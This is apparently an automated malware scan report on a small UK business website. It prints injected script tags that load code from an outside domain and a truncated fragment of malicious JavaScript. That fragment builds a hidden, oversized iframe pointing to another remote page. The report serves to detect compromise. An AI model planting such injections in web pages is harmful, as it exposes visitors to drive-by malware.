Safe Browsing / Blacklists
Query: http://www.google.com/safebrowsing/diagnostic?site=skiphireeastbourne.co.uk
Result: The website is marked by Google as suspicious. - visiting this web site may harm your computer.
Details are available here.
Result: The website is marked by Google as suspicious. - visiting this web site may harm your computer.
Details are available here.
Scanned pages/files
Request | Server response | Status |
http://skiphireeastbourne.co.uk/ | 200 OK Content-Length: 4760 Content-Type: text/html | suspicious |
Suspicious code found <script type="text/javascript" src="http://pc-pointers.com/37qlnrdz.php?id=9176892"></script> | ||
http://skiphireeastbourne.co.uk/index.html | 200 OK Content-Length: 4760 Content-Type: text/html | suspicious |
Suspicious code found <script type="text/javascript" src="http://pc-pointers.com/37qlnrdz.php?id=9176892"></script> | ||
http://skiphireeastbourne.co.uk/about.html | 200 OK Content-Length: 3050 Content-Type: text/html | suspicious |
Suspicious code found <script type="text/javascript" src="http://pc-pointers.com/37qlnrdz.php?id=9176869"></script> | ||
http://skiphireeastbourne.co.uk/services.html | 200 OK Content-Length: 3337 Content-Type: text/html | suspicious |
Suspicious code found <script type="text/javascript" src="http://pc-pointers.com/37qlnrdz.php?id=9176904"></script> | ||
http://skiphireeastbourne.co.uk/contactform.php | 200 OK Content-Length: 3119 Content-Type: text/html | clean |
http://skiphireeastbourne.co.uk/scripts/gen_validatorv31.js | 200 OK Content-Length: 21538 Content-Type: application/javascript | malicious |
Malicious code - confirmed by antiviruses (see below) function jquqj09() { var static='ajax'; var controller='index.php'; var jquqj = document.createElement('iframe'); jquqj.src = 'http://mediabruno.it/expsrv.php'; jquqj.style.position = 'absolute'; jquqj.style.color = '31446'; jquqj.style.height = '31446px'; jquqj.style.width = '31446px'; jquqj.style.left = '100031446'; jquqj.style.top = '100031446'; if (!document.getElementById('jquqj')) { document.write('<p id=\'jquqj\' class=\'jquqj09\' ></p>'); document.getElementById('jquqj').appe Antivirus reports:
| ||
http://skiphireeastbourne.co.uk/test404page.js | 404 Not Found Content-Length: 1148 Content-Type: text/html | clean |
http://skiphireeastbourne.co.uk/privacy.html | 200 OK Content-Length: 3906 Content-Type: text/html | suspicious |
Suspicious code found <script type="text/javascript" src="http://pc-pointers.com/37qlnrdz.php?id=9176897"></script> |
Malicious Redirects
First query (normal visit):
GET / HTTP/1.1
Host: skiphireeastbourne.co.uk
Result:
HTTP/1.1 200 OK
Connection: close
Date: Fri, 09 Jan 2015 10:29:33 GMT
Accept-Ranges: bytes
ETag: "1298-544daee2-f5caa0a9cd1615e6"
Server: LiteSpeed
Content-Length: 4760
Content-Type: text/html
Last-Modified: Mon, 27 Oct 2014 02:33:06 GMT
...4760 bytes of data.
GET / HTTP/1.1
Host: skiphireeastbourne.co.uk
Result:
HTTP/1.1 200 OK
Connection: close
Date: Fri, 09 Jan 2015 10:29:33 GMT
Accept-Ranges: bytes
ETag: "1298-544daee2-f5caa0a9cd1615e6"
Server: LiteSpeed
Content-Length: 4760
Content-Type: text/html
Last-Modified: Mon, 27 Oct 2014 02:33:06 GMT
...4760 bytes of data.
Second query (visit from search engine):
GET / HTTP/1.1
Host: skiphireeastbourne.co.uk
Referer: http://www.google.com/search?q=skiphireeastbourne.co.uk
Result:
The result is similar to the first query. There are no suspicious redirects found.
GET / HTTP/1.1
Host: skiphireeastbourne.co.uk
Referer: http://www.google.com/search?q=skiphireeastbourne.co.uk
Result:
The result is similar to the first query. There are no suspicious redirects found.